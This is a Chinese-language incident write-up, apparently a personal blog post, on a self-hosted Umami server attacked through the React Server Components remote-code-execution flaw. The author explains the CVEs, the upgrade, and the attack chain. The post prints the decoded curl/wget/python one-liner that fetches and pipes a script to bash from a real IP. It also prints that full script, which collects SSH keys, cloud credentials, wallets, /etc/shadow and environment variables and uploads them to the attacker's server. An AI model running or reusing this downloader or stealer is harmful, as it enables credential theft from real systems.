腾讯云手机管理服务器 我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10···
腾讯云手机管理服务器
我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10.0满分,这是一个可以比拟当年 Log4j 的安全核弹,影响涉及next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk,等下游项目。
漏洞说明核心攻击目标对我的影响攻击过程分析攻击脚本内容漏洞说明
Umami 存在安全漏洞被被攻击的原因是 Umami 服务使用了 Nextjs 框架存在漏洞 CVE-2025-66478[1],该漏洞 CVSS10.0 满分。
Nextjs 的安全漏洞是因为 Nextjs 框架的使用 React Server Components (RSC) 协议存在漏洞 CVE-2025-55182[2],该漏洞 CVSS10.0 满分。
React 在2025/12/3发布了漏洞说明[3]
11月29日,Lachlan Davidson报告了React中的一个安全漏洞,该漏洞允许通过利用React解码发送到React服务器功能端点的有效负载的缺陷来执行未经身份验证的远程代码。
即使您的应用没有实现任何React Server函数端点,如果您的应用支持React Server组件,它仍然可能容易受到攻击。
此漏洞被披露为CVE-2025-55182评级为CVSS 10.0。
影响范围
该漏洞存在于以下版本的19.0、19.1.0、19.1.1和19.2.0中:
• react-server-dom-webpack• react-server-dom-parcel• react-server-dom-turbopack
受影响的框架和相关程序
具有对等依赖关系,或包含易受攻击的React包。以下React框架和关联程序受到影响next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk.
漏洞概述
React服务器功能允许客户端调用服务器上的函数。React提供了框架和捆绑程序用来帮助React代码在客户端和服务器上运行的集成点和工具。React将客户端上的请求转换为转发到服务器的HTTP请求。在服务器上,React将HTTP请求转换为函数调用,并将所需的数据返回给客户端。
未经身份验证的攻击者可以向任何服务器函数端点发出恶意HTTP请求,当React反序列化时,该端点会在服务器上实现远程代码执行。修复完成后,将提供该漏洞的更多详细信息。
我认为这次漏洞可以称之为又一次的安全漏洞核弹,主要是因为React的这些存在漏洞在软件是很多流行开源项目的基础依赖,影响涉及nextjs,react,vite等。
并且,就 CVSS 10.0 的评分,当年的 Log4j 漏洞就是典型参考:
Log4Shell (CVE-2021-44228):Apache Log4j 库中的远程代码执行漏洞,影响范围极广,利用简单,危害巨大。核心攻击目标
主要攻击的目标是:
• 加密货币钱包:针对Solana、比特币钱包。用于窃取加密货币钱包。
• 云服务凭证:AWS、阿里云、腾讯云等。利用云凭证创建资源进行挖矿或发起攻击。
• SSH密钥:可用于后续服务器入侵。
• 配置文件:各类服务的敏感配置。获取数据库连接字符串、API密钥等。
• 系统敏感信息:可用于提权攻击。
• 数据泄露:获取数据库连接字符串、API密钥等。
• 持久化访问:建立后门,长期控制服务器。
腾讯云服务器新春采购
该脚本的动作目标会导致服务器上核心敏感数据泄露,并可进一步攻击服务器所在整个机房或公司的其他的服务器,危害巨大。
对我的影响
已经检测到被攻击的是 Umami 服务,目前 Umami 官方也在第一时间紧急发布了漏洞修复版本 v3.0.2[4] 和 v2.20.1[5]
我已经通过升级到 v3.0.2 解决该安全漏洞。
云之天地服务器id
幸运的是本次攻击对我的影响很小,主要是因为我使用的 Docker 容器镜像,文件系统与ECS机器隔离,所以一些云平台的配置和SSH证书之类的无法获取。
根据这个攻击的逻辑的分析,我容器的ENV环境变量信息被盗取了,里面有敏感的 PostgreSQL 的账号和密码信息。由于我使用的是私有网地址,所以无法直接访问,因此影响很小。
但是密码泄露让我不安,所以接下来要更换密码,我的PostgreSQL是多个项目公用的所以更换密码会需要一些时间。
如果你也使用 Umami,并且是基于容器运行的,我们这里有官方修复后镜像可以 docker pull 下载,
harbor.cncfstack.com/docker.io/umamisoftware/umami:3.0.2harbor.cncfstack.com/docker.io/umamisoftware/umami:mysql-v2.20.1harbor.cncfstack.com/docker.io/umamisoftware/umami:postgres-v2.20.1需要注意的是 umami:3.0.2 支持ARM64和AMD64,而 umami:mysql-v2.20.1 和 umami:postgres-v2.20.1 只支持AMD64。
攻击过程分析
系统异常进程
我收到了异常监控的告警,运行在阿里云的ECS服务器存在一个异常进程启动,我看告警中的进程树如图:
告警漏洞
图中核心最后一个是 /bin/sh 指令,执行一个 echo 命令进行进一步的 bash 执行。这个echo的字符串经过 base64 -d 解密后的结果是个 shell 脚本
(command -v curl >/dev/null2>&1&& curl -shttp://47.77.204.248/index| bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index |bash)||(command -v python3 >/dev/null2>&1&& python3 -c"import urllib.request as u,subprocess; subprocess.Popen([bash], stdin=subprocess.PIPE).communicate(u.urlopen(http://47.77.204.248/index).read())")||(command -v python >/dev/null2>&1&& python -c"import urllib2 as u,subprocess; subprocess.Popen([bash], stdin=subprocess.PIPE).communicate(u.urlopen(http://47.77.204.248/index).read())")该命令会依次尝试使用 curl、wget、python3 或 python 从 http://47.77.204.248/index 下载一个脚本,并通过 bash 执行该下载的脚本。
这里做了多种类型的下载工具判断,主要目的是为了更好的兼容性,使在更多的设备上可以获取到该shell脚本。
攻击脚本内容分析
http://47.77.204.248/index 获取的脚本是一个恶意信息收集脚本,在文章最后附完整脚本内容:
其功能是窃取服务器上的敏感数据并发送到远程攻击者服务器。以下是详细分析:
主要功能分析:
1. 敏感文件窃取。脚本会收集以下类型的敏感文件
• 配置文件:.env、.git/config、Docker配置等• 密钥文件:Solana钱包(.config/solana/id.json)、比特币钱包(.bitcoin/wallet.dat)• 云服务凭证:AWS、阿里云、腾讯云、Google Cloud、Kubernetes配置• SSH密钥:.ssh目录下所有文件• 系统敏感文件:/etc/passwd、/etc/shadow2. 按模式搜索敏感文件。在用户目录中搜索包含特定关键词的文件
• _history:Bash历史文件等• credential、password:凭证文件• private、key、.pem:私钥文件• config、wallet:配置文件和钱包文件3. 系统信息收集
• 主机名和操作系统信息• 环境变量• 网络配置和IP地址• 进程列表(ps aux)• 网络连接信息(netstat -anpt)4. 数据回传机制。脚本将收集的所有信息保存到本地文件({主机名}_{时间戳}.txt),然后通过多种方式上传到攻击者服务器
• 尝试使用 curl 上传• 如果失败,尝试 wget• 再失败则使用 python3• 最后使用 python2上传地址为:http://47.77.204.248/upload
5. 隐蔽操作
• 上传成功后删除本地生成的报告文件• 使用多种上传方法确保成功率• 文件大小限制为1MB以下,避免大文件引起注意IP地址分析
对于 http://47.77.204.248 中 IP 地址的分析,可以查看其归属是阿里云在美国的数据中心。
我已经通过阿里云工单进行反馈。
攻击脚本内容
http://47.77.204.248/index 的脚本内容
!/bin/bashMonitor script configurationSERVER_URL="http://47.77.204.248/upload"HOSTNAME=$(hostname) TIMESTAMP=$(date+%Y%m%d_%H%M%S) OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"File names to monitorFILE_NAMES=(".env"".docker/config.json"".git/config"".config/solana/id.json"".bitcoin/wallet.dat"".arbitrum/mainnet/config.yaml"".electrum/config")Filename patterns to search in user directories (files containing these strings)MONITOR_PATTERNS=("_history""credential""password""config""private""key"".pem""wallet")Directory names to monitor in user home directoriesMONITOR_DIRS=(".ssh"".aws"".aliyun"".hcloud"".tccli"".config/gcloud"".kube")Generate file list from /root and /home/*/MONITORED_FILES=() REPORT_DIRS=() USER_DIRS=()Add /root as a user directoryUSER_DIRS+=("/root")Add files from /rootforfnamein"${FILE_NAMES[@]}";doMONITORED_FILES+=("/root/$fname")doneMONITORED_FILES+=("/etc/passwd") MONITORED_FILES+=("/etc/shadow")Add monitor directories from /root if they existfordir_namein"${MONITOR_DIRS[@]}";doif[ -d"/root/$dir_name"];thenREPORT_DIRS+=("/root/$dir_name")fidoneAdd files from all users in /homeif[ -d"/home"];thenforuser_dirin/home/*;doif[ -d"$user_dir"];thenUSER_DIRS+=("$user_dir")forfnamein"${FILE_NAMES[@]}";doMONITORED_FILES+=("$user_dir/$fname")doneAdd monitor directories if they existfordir_namein"${MONITOR_DIRS[@]}";doif[ -d"$user_dir/$dir_name"];thenREPORT_DIRS+=("$user_dir/$dir_name")fidonefidonefiStart reportecho"========================================">"$OUTPUT_FILE"echo"Monitor Report -$HOSTNAME">>"$OUTPUT_FILE"echo"Time:$(date +%Y-%m-%d %H:%M:%S)">>"$OUTPUT_FILE"echo"========================================">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"System informationecho"">>"$OUTPUT_FILE"echo"===== Basic System Information =====">>"$OUTPUT_FILE"echo"Hostname:$HOSTNAME">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"Operating System:">>"$OUTPUT_FILE"if[ -f /etc/os-release ];thencat /etc/os-release >>"$OUTPUT_FILE"2>&1elif[ -f /etc/redhat-release ];thencat /etc/redhat-release >>"$OUTPUT_FILE"2>&1elif[ -f /etc/debian_version ];thenecho"Debian$(cat /etc/debian_version)">>"$OUTPUT_FILE"2>&1elseuname -a >>"$OUTPUT_FILE"2>&1fiecho"">>"$OUTPUT_FILE"echo"Kernel Version:">>"$OUTPUT_FILE"uname -r >>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"echo"Environment:">>"$OUTPUT_FILE"env >>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"echo"Network Interfaces and IP Addresses:">>"$OUTPUT_FILE"ifcommand-v ip >/dev/null 2>&1;thenip addr show >>"$OUTPUT_FILE"2>&1elifcommand-v ifconfig >/dev/null 2>&1;thenifconfig -a >>"$OUTPUT_FILE"2>&1elseecho"No ip or ifconfig command available">>"$OUTPUT_FILE"fiecho"">>"$OUTPUT_FILE"List user home directoriesecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== User Home Directories (ls -al) =====">>"$OUTPUT_FILE"foruser_dirin"${USER_DIRS[@]}";doif[ -d"$user_dir"];thenecho"">>"$OUTPUT_FILE"echo"--- Directory:$user_dir---">>"$OUTPUT_FILE"ls -al"$user_dir">>"$OUTPUT_FILE"2>&1fiecho"">>"$OUTPUT_FILE"doneRead history files and monitor_log files from user directoriesecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== History and Monitor Log Files =====">>"$OUTPUT_FILE"foruser_dirin"${USER_DIRS[@]}";doif[ -d"$user_dir"];thenecho"">>"$OUTPUT_FILE"echo"--- Scanning directory:$user_dir---">>"$OUTPUT_FILE"Enable dotglob to match hidden filesshopt-s dotglob nullglobFind files containing patterns from MONITOR_PATTERNSforpatternin"${MONITOR_PATTERNS[@]}";doforfilein"$user_dir"/*"$pattern"*;doif[ -f"$file"];thenCheck file size (less than 1MB = 1048576 bytes)file_size=$(stat-c%s"$file"2>/dev/null ||stat-f%z"$file"2>/dev/null)if["$file_size"-lt 1048576 ];thenecho"">>"$OUTPUT_FILE"echo">>> File:$file(Size:$file_sizebytes) <<<">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"cat"$file">>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"echo">>> End of file:$(basename "$file")<<<">>"$OUTPUT_FILE"elseecho"">>"$OUTPUT_FILE"echo">>> File:$file(Size:$file_sizebytes - SKIPPED, larger than 1MB) <<<">>"$OUTPUT_FILE"fifidonedoneDisable dotglobshopt-u dotglob nullglobfiecho"">>"$OUTPUT_FILE"doneRead monitored filesecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== File Contents =====">>"$OUTPUT_FILE"forfilein"${MONITORED_FILES[@]}";doif[ -f"$file"];thenecho"">>"$OUTPUT_FILE"echo"--- File:$file---">>"$OUTPUT_FILE"cat"$file">>"$OUTPUT_FILE"2>&1fiecho"">>"$OUTPUT_FILE"doneRead .report directoriesecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== Monitor Directory Contents =====">>"$OUTPUT_FILE"forreport_dirin"${REPORT_DIRS[@]}";doif[ -d"$report_dir"];thenList files in the directoryecho"">>"$OUTPUT_FILE"echo"--- Directory:$report_dir---">>"$OUTPUT_FILE"echo"Files in directory:">>"$OUTPUT_FILE"ls -lh"$report_dir">>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"Read each file in the directoryforreport_filein"$report_dir"/*;doif[ -f"$report_file"];thenecho"">>"$OUTPUT_FILE"echo">>> File:$(basename "$report_file")<<<">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"cat"$report_file">>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"echo">>> End of file:$(basename "$report_file")<<<">>"$OUTPUT_FILE"fidonefiecho"">>"$OUTPUT_FILE"doneExecute ps aux commandecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== Process List (ps aux) =====">>"$OUTPUT_FILE"ps aux >>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"Execute netstat -anpt commandecho"">>"$OUTPUT_FILE"echo"">>"$OUTPUT_FILE"echo"===== Network Connections (netstat -anpt) =====">>"$OUTPUT_FILE"netstat -anpt >>"$OUTPUT_FILE"2>&1echo"">>"$OUTPUT_FILE"Function to upload with curlupload_with_curl() { curl -X POST -F"file=@${OUTPUT_FILE}" -F"hostname=${HOSTNAME}" -F"timestamp=${TIMESTAMP}" --connect-timeout 10 --max-time 60 "${SERVER_URL}"return$? }Function to upload with wgetupload_with_wget() { wget --post-file="${OUTPUT_FILE}" --timeout=60 --tries=1 -O - "${SERVER_URL}?hostname=${HOSTNAME}×tamp=${TIMESTAMP}"return$? }Function to upload with python3upload_with_python3() { python3 << EOF import sys try: import urllib.request import urllib.parse with open(${OUTPUT_FILE},rb) as f: data = f.read() boundary =----WebKitFormBoundary+.join([chr(i)foriinrange(97, 123)]) body = (--+ boundary + +Content-Disposition: form-data; name="file"; filename="$(basename ${OUTPUT_FILE})" +Content-Type: application/octet-stream ).encode() + data + ( --+ boundary + +Content-Disposition: form-data; name="hostname" +${HOSTNAME} +--+ boundary + +Content-Disposition: form-data; name="timestamp" +${TIMESTAMP} +--+ boundary +-- ).encode() req = urllib.request.Request(${SERVER_URL}, data=body) req.add_header(Content-Type,multipart/form-data; boundary=+ boundary) response = urllib.request.urlopen(req, timeout=60)print(response.read().decode()) sys.exit(0) except Exception as e:print(f"Error: {e}", file=sys.stderr) sys.exit(1) EOFreturn$? }Function to upload with python (python2)upload_with_python() { python << EOF import sys try: import urllib2 import os with open(${OUTPUT_FILE},rb) as f: data = f.read() boundary =----WebKitFormBoundary+abcdefghijklmnopbody = (--+ boundary + +Content-Disposition: form-data; name="file"; filename="+ os.path.basename(${OUTPUT_FILE}) +" +Content-Type: application/octet-stream ) + data + ( --+ boundary + +Content-Disposition: form-data; name="hostname" +${HOSTNAME} +--+ boundary + +Content-Disposition: form-data; name="timestamp" +${TIMESTAMP} +--+ boundary +-- ) req = urllib2.Request(${SERVER_URL}, data=body) req.add_header(Content-Type,multipart/form-data; boundary=+ boundary) response = urllib2.urlopen(req, timeout=60)printresponse.read() sys.exit(0) except Exception as e:print>> sys.stderr,"Error:", str(e) sys.exit(1) EOFreturn$? }Try uploading with available toolsUPLOAD_SUCCESS=0ifcommand-v curl >/dev/null 2>&1;thenifupload_with_curl;thenUPLOAD_SUCCESS=1fifiif[$UPLOAD_SUCCESS-eq 0 ] &&command-v wget >/dev/null 2>&1;thenifupload_with_wget;thenUPLOAD_SUCCESS=1fifiif[$UPLOAD_SUCCESS-eq 0 ] &&command-v python3 >/dev/null 2>&1;thenifupload_with_python3;thenUPLOAD_SUCCESS=1fifiif[$UPLOAD_SUCCESS-eq 0 ] &&command-v python >/dev/null 2>&1;thenifupload_with_python;thenUPLOAD_SUCCESS=1fifiif[$UPLOAD_SUCCESS-eq 1 ];thenrm -f"$OUTPUT_FILE"exit0elseexit1fi引用链接
[1] CVE-2025-66478: https://nextjs.org/blog/CVE-2025-66478[2] CVE-2025-55182: https://www.cve.org/CVERecord?id=CVE-2025-55182[3] 漏洞说明: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components[4] v3.0.2: https://github.com/umami-software/umami/releases/tag/[5] v2.20.1: https://github.com/umami-software/umami/releases/tag/v2.20.1
云服务器打不开程序

发表评论
最近发表
标签列表